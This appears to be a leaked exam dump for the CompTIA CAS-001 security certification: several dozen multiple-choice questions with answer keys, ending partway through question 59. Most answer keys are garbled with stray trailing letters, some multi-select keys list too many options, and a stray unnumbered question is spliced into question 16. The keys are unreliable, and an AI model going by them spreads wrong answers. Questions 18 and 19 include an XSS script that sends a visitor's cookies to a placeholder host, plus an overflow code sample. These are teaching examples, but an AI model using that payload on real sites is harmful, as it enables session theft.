CAS-001

Number: 000-000
Passing Score: 800
Time Limit: 120 min
File Version: 1.0

CompTIA CAS-001

CompTIA Advanced Security Practitioner
Version: 7.1
Topic 1, Volume A

Exam A

QUESTION 1
Which of the following attacks does Unicast Reverse Path Forwarding prevent?

A. Man in the Middle
B. ARP poisoning
C. Broadcast storm
D. IP Spoofing

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 2
Which of the following authentication types is used primarily to authenticate users through the use of tickets?

A. LDAP
B. RADIUS
C. TACACS+
D. Kerberos

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 3
A security consultant is evaluating forms which will be used on a company website. Which of the following techniques or terms is MOST effective at preventing malicious individuals from successfully exploiting programming flaws in the website?

A. Anti-spam software
B. Application sandboxing
C. Data loss prevention
D. Input validation

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 4
A security audit has uncovered that some of the encryption keys used to secure the company B2B financial transactions with its partners may be too weak. The security administrator needs to implement a process to ensure that financial transactions will not be compromised if a weak encryption key is found. Which of the following should the security administrator implement?

A. Entropy should be enabled on all SSLv2 transactions.

B. AES256-CBC should be implemented for all encrypted data.
C. PFS should be implemented on all VPN tunnels.
D. PFS should be implemented on all SSH connections.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 5
A company provides on-demand virtual computing for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for access to sensitive data. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data was found on a hidden directory within the hypervisor. Which of the following has MOST likely occurred?

A. A stolen two factor token and a memory mapping RAM exploit were used to move data from one virtual guest to an unauthorized similar token.
B. An employee with administrative access to the virtual guests was able to dump the guest memory onto their mapped disk.
C. A host server was left un-patched and an attacker was able to use a VMEscape attack to gain unauthorized access.
D. A virtual guest was left un-patched and an attacker was able to use a privilege escalation attack to gain unauthorized access.

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 6
Company XYZ provides residential television cable service across a large region. The company's board of directors is in the process of approving a deal with the following three companies: -A National landline telephone provider -A Regional wireless telephone provider -An international Internet service provider
The board of directors at Company XYZ wants to keep the companies and billing separated. While the Chief Information Officer (CIO) at Company XYZ is concerned about the confidentiality of Company XYZ's customer data and wants to share only minimal information about its customers for the purpose of accounting, billing, and customer authentication. The proposed solution must use open standards and must make it simple and seamless for Company XYZ's customers to receive all four services. Which of the following solutions is BEST suited for this scenario?

A. All four companies must implement a TACACS+ web based single sign-on solution with associated captive portal technology.
B. Company XYZ must implement VPN and strict access control to allow the other three companies to access the internal LDAP.

C. Company XYZ needs to install the SP, while the partner companies need to install the WAYF portion of a Federated identity solution.

D. Company XYZ needs to install the IdP, while the partner companies need to install the SP portion of a Federated identity solution.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 7
The security administrator at a bank is receiving numerous reports that customers are unable to login to the bank website. Upon further investigation, the security administrator discovers that the name associated with the bank website points to an unauthorized IP address. Which of the following solutions will MOST likely mitigate this type of attack?

A. Security awareness and user training

B. Recursive DNS from the root servers

C. Configuring and deploying TSIG

D. Firewalls and IDS technologies

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 8
A security administrator has finished building a Linux server which will host multiple virtual machines through hypervisor technology. Management of the Linux server, including monitoring server performance, is achieved through a third party web enabled application installed on the Linux server. The security administrator is concerned about vulnerabilities in the web application that may allow an attacker to retrieve data from the virtual machines. Which of the following will BEST protect the data on the virtual machines from an attack?

A. The security administrator must install the third party web enabled application in a chroot environment.

B. The security administrator must install a software firewall on both the Linux server and the virtual machines.

C. The security administrator must install anti-virus software on both the Linux server and the virtual machines.

D. The security administrator must install the data exfiltration detection software on the perimeter firewall.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 9
A breach at a government agency resulted in the public release of top secret information. The Chief Information Security Officer has tasked a group of security professionals to deploy a system which will protect against such breaches in the future. Which of the following can the government agency deploy to meet future security needs?

A. A DAC which enforces no read-up, a DAC which enforces no write-down, and a MAC which uses an access matrix.
B. A MAC which enforces no write-up, a MAC which enforces no read-down, and a DAC which uses an ACL.
C. A MAC which enforces no read-up, a MAC which enforces no write-down, and a DAC which uses an access matrix.
D. A DAC which enforces no write-up, a DAC which enforces no read-down, and a MAC which uses an ACL.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 10
The internal auditor at Company ABC has completed the annual audit of the company's financial system. The audit report indicates that the accounts receivable department has not followed proper record disposal procedures during a COOP/BCP tabletop exercise involving manual processing of financial transactions. Which of the following should be the Information Security Officer's (ISO's) recommendation? (Select TWO).

A. Wait for the external audit results
B. Perform another COOP exercise
C. Implement mandatory training
D. Destroy the financial transactions
E. Review company procedures

Correct Answer: CEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 11
Company ABC has recently completed the connection of its network to a national high speed private research network. Local businesses in the area are seeking sponsorship from Company ABC to connect to the high speed research network by directly connecting through Company ABC's network. Company ABC's Chief Information Officer (CIO) believes that this is an opportunity to increase revenues and visibility for the company, as well as promote research and development in the area. Which of the following must Company ABC require of its sponsored partners in order to document the technical security requirements of the connection?

A. SLA
B. ISA
C. NDA
D. BPA

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 12
A security analyst at Company A has been trying to convince the Information Security Officer (ISO) to allocate budget towards the purchase of a new intrusion prevention system (IPS) capable of analyzing encrypted web

transactions. Which of the following should the analyst provide to the ISO to support the request? (Select TWO).

A. Emerging threat reports
B. Company attack tends
C. Request for Quote (RFQ)
D. Best practices
E. New technologies report

Correct Answer: ABEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 13
The IT department of a pharmaceutical research company is considering whether the company should allow or block access to social media websites during lunch time. The company is considering the possibility of allowing access only through the company's guest wireless network, which is logically separated from the internal research network. The company prohibits the use of personal devices; therefore, such access will take place from company owned laptops. Which of the following is the HIGHEST risk to the organization?

A. Employee's professional reputation
B. Intellectual property confidentiality loss
C. Downloaded viruses on the company laptops
D. Workstation compromise affecting availability

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 14
A security audit has uncovered a lack of security controls with respect to employees' network account management. Specifically, the audit reveals that employee's network accounts are not disabled in a timely manner once an employee departs the organization. The company policy states that the network account of an employee should be disabled within eight hours of termination. However, the audit shows that 5% of the accounts were not terminated until three days after a dismissed employee departs. Furthermore, 2% of the accounts are still active. Which of the following is the BEST course of action that the security officer can take to avoid repeat audit findings?

A. Review the HR termination process and ask the software developers to review the identity management code.
B. Enforce the company policy by conducting monthly account reviews of inactive accounts.
C. Review the termination policy with the company managers to ensure prompt reporting of employee terminations.
D. Update the company policy to account for delays and unforeseen situations in account deactivation.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 15
Which of the following is true about an unauthenticated SAMLv2 transaction?

A. The browser asks the SP for a resource. The SP provides the browser with an XHTML format. The browser asks the IdP to validate the user, and then provides the XHTML back to the SP for access.
B. The browser asks the IdP for a resource. The IdP provides the browser with an XHTML format. The browser asks the SP to validate the user, and then provides the XHTML to the IdP for access.
C. The browser asks the IdP to validate the user. The IdP sends an XHTML form to the SP and a cookie to the browser. The browser asks for a resource to the SP, which verifies the cookie and XHTML format for access.
D. The browser asks the SP to validate the user. The SP sends an XHTML form to the IdP. The IdP provides the XHTML form back to the SP, and then the browser asks the SP for a resource.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 16
A company which manufactures ASICs for use in an IDS wants to ensure that the ASICs' code is not prone to buffer and integer overflows. The ASIC technology is copyrighted and the confidentiality of the ASIC code design is exceptionally important. The company is required to conduct internal vulnerability testing as well as testing by a third party. Which of the following should be implemented in the SDLC to achieve these requirements?

A. Regression testing by the manufacturer and integration testing by the third party
B. User acceptance testing by the manufacturer and black box testing by the third party
C. Defect testing by the manufacturer and user acceptance testing by the third party
D. White box unit testing by the manufacturer and black box testing by the third party

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:
The security administrator is receiving numerous alerts from the internal IDS of a possible Conficker infection spreading through the network via the Windows file sharing services. Given the size of the company which deploys over 20,000 workstations and 1,000 servers, the security engineer believes that the best course of action is to block the file sharing service across the organization by placing ACLs on the internal routers. Which of the following should the security administrator do before applying the ACL?
A. Quickly research best practices with respect to stopping Conficker infections and implement the solution.
B. Consult with the rest of the security team and get approval on the solution by all the team members and the team manager.
C. Apply the ACL immediately since this is an emergency that could lead to a widespread data compromise.
D. Call an emergency change management meeting to ensure the ACL will not impact core business functions.
Answer: D Explanation:

QUESTION 17
A company currently does not use any type of authentication or authorization service for remote access. The new security policy states that all remote access must be locked down to only authorized personnel. The policy also dictates that only authorized external networks will be allowed to access certain internal resources. Which of the following would MOST likely need to be implemented and configured on the company's perimeter network to comply with the new security policy? (Select TWO).

A. VPN concentrator

B. Firewall

C. Proxy server

D. WAP

E. Layer 2 switch

Correct Answer: ABEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 18
Which of the following displays an example of a buffer overflow attack?

A.
```
<SCRIPT>
document.location='http://site.comptia/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>
```

B.
```
Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc
e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz
d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz
ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb
7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb
b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
```

C.
```
#include
char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes
void main()
{char buf[8];
strcpy(buf, code);
}
```

D.
```
<form action="/cgi-bin/login" method=post>
UsernamE. <input type=text name=username>
PassworD. <input type=password name=password>
<input type=submit value=Login>
```

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 19
Which of the following displays an example of a XSS attack?

A.
```
<SCRIPT> document.location='http://site.comptia/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
```

B.
```
Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc
e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz
d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz
ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb
7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb
b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
```

C.
```
<form action="/cgi-bin/login" method=post> UsernamE. <input type=text name=username> PassworD.
<input type=password name=password> <input type=submit value=Login>
```

D.
```
#include
char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes
void main()
{char buf[8];
strcpy(buf, code);
}
```

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 20
Several critical servers are unresponsive after an update was installed. Other computers that have not yet received the same update are operational, but are vulnerable to certain buffer overflow attacks. The security administrator is required to ensure all systems have the latest updates while minimizing any downtime. Which of the following is the BEST risk mitigation strategy to use to ensure a system is properly updated and operational?

A. Distributed patch management system where all systems in production are patched as updates are released.
B. Central patch management system where all systems in production are patched by automatic updates as they are released.
C. Central patch management system where all updates are tested in a lab environment after being installed on a live production system.
D. Distributed patch management system where all updates are tested in a lab environment prior to being installed on a live production system.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 21
A business is currently in the process of upgrading its network infrastructure to accommodate a personnel growth of over fifty percent within the next six months. All preliminary planning has been completed and a risk assessment plan is being adopted to decide which security controls to put in place throughout each phase. Which of the following risk responses is MOST likely being considered if the business is creating an SLA with a third party?

A. Accepting risk
B. Mitigating risk
C. Identifying risk
D. Transferring risk

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 22

Which of the following must be taken into consideration for e-discovery purposes when a legal case is first presented to a company?

A. Data ownership on all files
B. Data size on physical disks
C. Data retention policies on only file servers
D. Data recovery and storage

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 23
A company has purchased a new system, but security personnel are spending a great deal of time on system maintenance. A new third party vendor has been selected to maintain and manage the company's system. Which of the following document types would need to be created before any work is performed?

A. IOS
B. ISA
C. SLA
D. OLA

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 24
The security administrator of a small private firm is researching and putting together a proposal to purchase an IPS to replace an existing IDS. A specific brand and model has been selected, but the security administrator needs to gather various cost information for that product. Which of the following documents would perform a cost analysis report and include information such as payment terms?

A. RFI
B. RTO
C. RFQ
D. RFC

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 25
A security administrator of a large private firm is researching and putting together a proposal to purchase an IPS. The specific IPS type has not been selected, and the security administrator needs to gather information from several vendors to determine a specific product. Which of the following documents would assist in choosing a specific brand and model?

A. RFC
B. RTO
C. RFQ
D. RFI

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 26
Wireless users are reporting issues with the company's video conferencing and VoIP systems. The security administrator notices DOS attacks on the network that are affecting the company's VoIP system (i.e. premature call drops and garbled call signals). The security administrator also notices that the SIP servers are unavailable during these attacks. Which of the following security controls will MOST likely mitigate the VoIP DOS attacks on the network? (Select TWO).

A. Configure 802.11b on the network
B. Configure 802.1q on the network
C. Configure 802.11e on the network
D. Update the firewall managing the SIP servers
E. Update the HIDS managing the SIP servers

Correct Answer: CDEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 27
A company has decided to use the SDLC for the creation and production of a new information system. The security administrator is training all users on how to protect company information while using the new system, along with being able to recognize social engineering attacks. Senior Management must also formally approve of the system prior to it going live. In which of the following phases would these security controls take place?

A. Operations and Maintenance
B. Implementation
C. Acquisition and Development
D. Initiation

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 28
A company contracts with a third party to develop a new web application to process credit cards. Which of the following assessments will give the company the GREATEST level of assurance for the web application?

A. Social Engineering

B. Penetration Test
C. Vulnerability Assessment
D. Code Review

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 29
As part of the testing phase in the SDLC, a software developer wants to verify that an application is properly handling user error exceptions. Which of the following is the BEST tool or process for the developer use?

A. SRTM review
B. Fuzzer
C. Vulnerability assessment
D. HTTP interceptor

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 30
Which of the following is the MOST appropriate control measure for lost mobile devices?

A. Disable unnecessary wireless interfaces such as Bluetooth.
B. Reduce the amount of sensitive data stored on the device.
C. Require authentication before access is given to the device.
D. Require that the compromised devices be remotely wiped.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 31
Which of the following is the MOST cost-effective solution for sanitizing a DVD with sensitive information on it?

A. Write over the data
B. Purge the data
C. Incinerate the DVD
D. Shred the DVD

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 32
A network engineer at Company ABC observes the following raw HTTP request:

```
GET /disp_reports.php?SectionEntered=57&GroupEntered=-1&report_type=alerts&to_date=0101-0101&Run=
Run&UserEntered=dsmith&SessionID=5f04189bc&from_date=31-10-2010&TypesEntered=1
HTTP/1.1
Host: test.example.net
Accept: */*
Accept-LanguagE. en
Connection: close
CookiE. java14=1; java15=1; java16=1; js=1292192278001;
```

Which of the following should be the engineer’s GREATEST concern?

A. The HTTPS is not being enforced so the system is vulnerable.
B. The numerical encoding on the session ID is limited to hexadecimal characters, making it susceptible to a brute force attack.
C. Sensitive data is transmitted in the URL.
D. The dates entered are outside a normal range, which may leave the system vulnerable to a denial of service attack.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 33
Driven mainly by cost, many companies outsource computing jobs which require a large amount of processor cycles over a short duration to cloud providers. This allows the company to avoid a large investment in computing resources which will only be used for a short time. Assuming the provisioned resources are dedicated to a single company, which of the following is the MAIN vulnerability associated with on-demand provisioning?

A. Traces of proprietary data which can remain on the virtual machine and be exploited
B. Remnants of network data from prior customers on the physical servers during a compute job
C. Exposure of proprietary data when in-transit to the cloud provider through IPSec tunnels
D. Failure of the de-provisioning mechanism resulting in excessive charges for the resources

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 34
A security administrator needs a secure computing solution to use for all of the company’s security audit log storage, and to act as a central server to execute security functions from. Which of the following is the BEST option for the server in this scenario?

A. A hardened Red Hat Enterprise Linux implementation running a software firewall
B. Windows 7 with a secure domain policy and smartcard based authentication
C. A hardened bastion host with a permit all policy implemented in a software firewall
D. Solaris 10 with trusted extensions or SE Linux with a trusted policy

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 35
After implementing port security, restricting all network traffic into and out of a network, migrating to IPv6, installing NIDS, firewalls, spam and application filters, a security administer is convinced that the network is secure. The administrator now focuses on securing the hosts on the network, starting with the servers. Which of the following is the MOST complete list of end-point security software the administrator could plan to implement?

A. Anti-malware/virus/spyware/spam software, as well as a host based firewall and strong, two-factor authentication.
B. Anti-virus/spyware/spam software, as well as a host based IDS, firewall, and strong three-factor authentication.
C. Anti-malware/virus/spyware/spam software, as well as a host based firewall and biometric authentication.
D. Anti-malware/spam software, as well as a host based firewall and strong, three-factor authentication.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 36
A security architect is assigned to a major software development project. The software development team has a history of writing bug prone, inefficient code, with multiple security flaws in every release. The security architect proposes implementing secure coding standards to the project manager. The secure coding standards will contain detailed standards for:

A. error handling, input validation, memory use and reuse, race condition handling, commenting, and preventing typical security problems.
B. error prevention, requirements validation, memory use and reuse, commenting typical security problems, and testing code standards.
C. error elimination, trash collection, documenting race conditions, peer review, and typical security problems.
D. error handling, input validation, commenting, preventing typical security problems, managing customers, and documenting extra requirements.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 37
A number of security incidents have been reported involving mobile web-based code developed by a consulting company. Performing a root cause analysis, the security administrator of the consulting company discovers that the problem is a simple programming error that results in extra information being loaded into the memory when the proper format is selected by the user. After repeating the process several times, the security administrator is able to execute unintentional instructions through this method. Which of the following BEST describes the problem that is occurring, a good mitigation technique to use to prevent future occurrences, and why it a

security concern?

A. Problem: Cross-site scripting Mitigation TechniquE. Input validation Security Concern: Decreases the company's profits and cross-site scripting can enable malicious actors to compromise the confidentiality of network connections or interrupt the availability of the network.
B. Problem: Buffer overflow Mitigation TechniquE. Secure coding standards Security Concern: Exposes the company to liability buffer overflows and can enable malicious actors to compromise the confidentiality/ availability of the data.
C. Problem: SQL injection Mitigation TechniquE. Secure coding standards Security Concern: Exposes the company to liability SQL injection and can enable malicious actors to compromise the confidentiality of data or interrupt the availability of a system.
D. Problem: Buffer overflow Mitigation TechniquE. Output validation Security Concern: Exposing the company to public scrutiny buffer overflows can enable malicious actors to interrupt the availability of a system.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 38
A security administrator has been conducting a security assessment of Company XYZ for the past two weeks. All of the penetration tests and other assessments have revealed zero flaws in the systems at Company XYZ. However, Company XYZ reports that it has been the victim of numerous security incidents in the past six months. In each of these incidents, the criminals have managed to exfiltrate large volumes of data from the secure servers at the company. Which of the following techniques should the investigation team consider in the next phase of their assessment in hopes of uncovering the attack vector the criminals used?

A. Vulnerability assessment
B. Code review
C. Social engineering
D. Reverse engineering

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 39
A security manager at Company ABC, needs to perform a risk assessment of a new mobile device which the Chief Information Officer (CIO) wants to immediately deploy to all employees in the company. The product is commercially available, runs a popular mobile operating system, and can connect to IPv6 networks wirelessly. The model the CIO wants to procure also includes the upgraded 160GB solid state hard drive. The producer of the device will not reveal exact numbers but experts estimate that over 73 million of the devices have been sold worldwide. Which of the following is the BEST list of factors the security manager should consider while performing a risk assessment?

A. Ability to remotely wipe the devices, apply security controls remotely, and encrypt the SSD; the track record of the vendor in publicizing and correcting security flaws in their products; predicted costs associated with maintaining, integrating and securing the devices.
B. Ability to remotely administer the devices, apply security controls remotely, and remove the SSD; the track record of the vendor in securely implementing IPv6 with IPSec; predicted costs associated with securing the devices.
C. Ability to remotely monitor the devices, remove security controls remotely, and decrypt the SSD; the track

record of the vendor in publicizing and preventing security flaws in their products; predicted costs associated with maintaining, destroying and tracking the devices.

D. Ability to remotely sanitize the devices, apply security controls locally, encrypt the SSD; the track record of the vendor in adapting the open source operating system to their platform; predicted costs associated with inventory management, maintaining, integrating and securing the devices.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 40
A newly-appointed risk management director for the IT department at Company XYZ, a major pharmaceutical manufacturer, needs to conduct a risk analysis regarding a new system which the developers plan to bring on-line in three weeks. The director begins by reviewing the thorough and well-written report from the independent contractor who performed a security assessment of the system. The report details what seems to be a manageable volume of infrequently exploited security vulnerabilities. The likelihood of a malicious attacker exploiting one of the vulnerabilities is low; however, the director still has some reservations about approving the system because of which of the following?

A. The resulting impact of even one attack being realized might cripple the company financially.
B. Government health care regulations for the pharmaceutical industry prevent the director from approving a system with vulnerabilities.
C. The director is new and is being rushed to approve a project before an adequate assessment has been performed.
D. The director should be uncomfortable accepting any security vulnerabilities and should find time to correct them before the system is deployed.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 41
A small company has a network with 37 workstations, 3 printers, a 48 port switch, an enterprise class router, and a firewall at the boundary to the ISP. The workstations have the latest patches and all have up-to-date anti-virus software. User authentication is a two-factor system with fingerprint scanners and passwords. Sensitive data on each workstation is encrypted. The network is configured to use IPv4 and is a standard Ethernet network. The network also has a captive portal based wireless hot-spot to accommodate visitors. Which of the following is a problem with the security posture of this company?

A. No effective controls in place
B. No transport security controls are implemented
C. Insufficient user authentication controls are implemented
D. IPv6 is not incorporated in the network

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 42
Statement: “The system shall implement measures to notify system administrators prior to a security incident occurring.”
Which of the following BEST restates the above statement to allow it to be implemented by a team of software developers?

A. The system shall cease processing data when certain configurable events occur.
B. The system shall continue processing in the event of an error and email the security administrator the error logs.
C. The system shall halt on error.
D. The system shall throw an error when specified incidents pass a configurable threshold.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 43
A corporate executive lost their smartphone while on an overseas business trip. The phone was equipped with file encryption and secured with a strong passphrase. The phone contained over 60GB of proprietary data.
Given this scenario, which of the following is the BEST course of action?

A. File an insurance claim and assure the executive the data is secure because it is encrypted.
B. Immediately implement a plan to remotely wipe all data from the device.
C. Have the executive change all passwords and issue the executive a new phone.
D. Execute a plan to remotely disable the device and report the loss to the police.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 44
A user logs into domain A using a PKI certificate on a smartcard protected by an 8 digit PIN. The credential is cached by the authenticating server in domain A. Later, the user attempts to access a resource in domain B. This initiates a request to the original authenticating server to somehow attest to the resource server in the second domain that the user is in fact who they claim to be.
Which of the following is being described?

A. Authentication
B. Authorization
C. SAML
D. Kerberos

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 45

A certain script was recently altered by the author to meet certain security requirements, and needs to be executed on several critical servers. Which of the following describes the process of ensuring that the script being used was not altered by anyone other than the author?

A. Digital encryption
B. Digital signing
C. Password entropy
D. Code signing

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 46
A company has asked their network engineer to list the major advantages for implementing a virtual environment in regards to cost. Which of the following would MOST likely be selected?

A. Ease of patch testing
B. Reducing physical footprint
C. Reduced network traffic
D. Isolation of applications

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 47
The security administrator has been tasked with providing a solution that would not only eliminate the need for physical desktops, but would also centralize the location of all desktop applications, without losing physical control of any network devices. Which of the following would the security manager MOST likely implement?

A. VLANs
B. VDI
C. PaaS
D. IaaS

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 48
A company has decided to relocate and the security manager has been tasked to perform a site survey of the new location to help in the design of the physical infrastructure. The current location has video surveillance throughout the building and entryways. The following requirements must be met:
-Able to log entry of all employees in and out of specific areas -Access control into and out of all sensitive areas
-Tailgating prevention
Which of the following would MOST likely be implemented to meet the above requirements and provide a

secure solution? (Select TWO).

A. Discretionary Access control
B. Man trap
C. Visitor logs
D. Proximity readers
E. Motion detection sensors

Correct Answer: BDEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 49
Which of the following refers to programs running in an isolated space to run untested code and prevents the code from making permanent changes to the OS kernel and other data on the host machine?

A. Input Validation
B. Application hardening
C. Code signing
D. Application sandboxing

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 50
The company is about to upgrade a financial system through a third party, but wants to legally ensure that no sensitive information is compromised throughout the project. The project manager must also make sure that internal controls are set to mitigate the potential damage that one individual's actions may cause. Which of the following needs to be put in place to make certain both organizational requirements are met? (Select TWO).

A. Separation of duties
B. Forensic tasks
C. MOU
D. OLA
E. NDA
F. Job rotation

Correct Answer: AEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
The security administrator is worried about possible SPIT attacks against the VoIP system. Which of the following security controls would MOST likely need to be implemented to detect this type of attack?

A. SIP and SRTP traffic analysis
B. QoS audit on Layer 3 devices
C. IP and MAC filtering logs
D. Email spam filter log

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
The helpdesk is receiving multiple calls about slow and intermittent Internet access from the finance department. The network administrator reviews the tickets and compiles the following information for the security administrator:
Caller 1, IP 172.16.35.217, NETMASK 255.255.254.0
Caller 2, IP 172.16.35.53, NETMASK 255.255.254.0
Caller 3, IP 172.16.35.173, NETMASK 255.255.254.0
All callers are connected to the same switch and are routed by a router with five built-in interfaces. The upstream router interface's MAC is 00-01-42-32-ab-1a
The security administrator brings a laptop to the finance office, connects it to one of the wall jacks, starts up a network analyzer, and notices the following:
09:05:10.937590 arp reply 172.16.34.1 is-at 0:12:3f:f1:da:52 (0:12:3f:f1:da:52)
09:05:15.934840 arp reply 172.16.34.1 is-at 0:12:3f:f1:da:52 (0:12:3f:f1:da:52)
09:05:19.931482 arp reply 172.16.34.1 is-at 0:12:3f:f1:da:52 (0:12:3f:f1:da:52)
Which of the following can the security administrator determine from the above information?

A. A man in the middle attack is underway - implementing static ARP entries is a possible solution.
B. An ARP flood attack targeted at the router is causing intermittent communication – implementing IPS is a possible solution.
C. The default gateway is being spoofed - implementing static routing with MD5 is a possible solution.
D. The router is being advertised on a separate network - router reconfiguration is a possible solution.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
On Monday, the Chief Information Officer (CIO) of a state agency received an e-discovery request for the release of all emails sent and received by the agency board of directors for the past five years. The CIO has contacted the email administrator and asked the administrator to provide the requested information by end of day on Friday. Which of the following has the GREATEST impact on the ability to fulfill the e-discovery request?

A. Data retention policy
B. Backup software and hardware
C. Email encryption software
D. Data recovery procedures

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54

A company is evaluating a new marketing strategy involving the use of social networking sites to reach its customers. The marketing director wants to be able to report important company news, product updates, and special promotions on the social websites. After an initial and successful pilot period, other departments want to use the social websites to post their updates as well. The Chief Information Officer (CIO) has asked the company security administrator to document three negative security impacts of allowing IT staff to post work related information on such websites. Which of the following are the major risks the security administrator should report back to the CIO? (Select THREE).

A. Brute force attacks
B. Malware infection
C. DDOS attacks
D. Phishing attacks
E. SQL injection attacks
F. Social engineering attacks

Correct Answer: BDFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 55

A telecommunication company has recently upgraded their teleconference systems to multicast. Additionally, the security team has instituted a new policy which requires VPN to access the company's video conference. All parties must be issued a VPN account and must connect to the company's VPN concentrator to participate in the remote meetings. Which of the following settings will increase bandwidth utilization on the VPN concentrator during the remote meetings?

A. IPSec transport mode is enabled
B. ICMP is disabled
C. Split tunneling is disabled
D. NAT-traversal is enabled

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 56

An Information Security Officer (ISO) has asked a security team to randomly retrieve discarded computers from the warehouse dumpster. The security team was able to retrieve two older computers and a broken MFD network printer. The security team was able to connect the hard drives from the two computers and the network printer to a computer equipped with forensic tools. The security team was able to retrieve PDF files from the network printer hard drive but the data on the two older hard drives was inaccessible. Which of the following should the Warehouse Manager do to remediate the security issue?

A. Revise the hardware and software maintenance contract.
B. Degauss the printer hard drive to delete data.

C. Implement a new change control process.
D. Update the hardware decommissioning procedures.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 57
Which of the following precautions should be taken to harden network devices in case of VMEscape?

A. Database servers should be on the same virtual server as web servers in the DMZ network segment.
B. Web servers should be on the same physical server as database servers in the network segment.
C. Virtual servers should only be on the same physical server as others in their network segment.
D. Physical servers should only be on the same WAN as other physical servers in their network.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 58
Which of the following should be used with caution because of its ability to provide access to block level data instead of file level data?

A. CIFS
B. NFS
C. iSCSI
D. NAS

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 59
Which of the following can aid a buffer overflow attack to execute when used in the creation of applications?

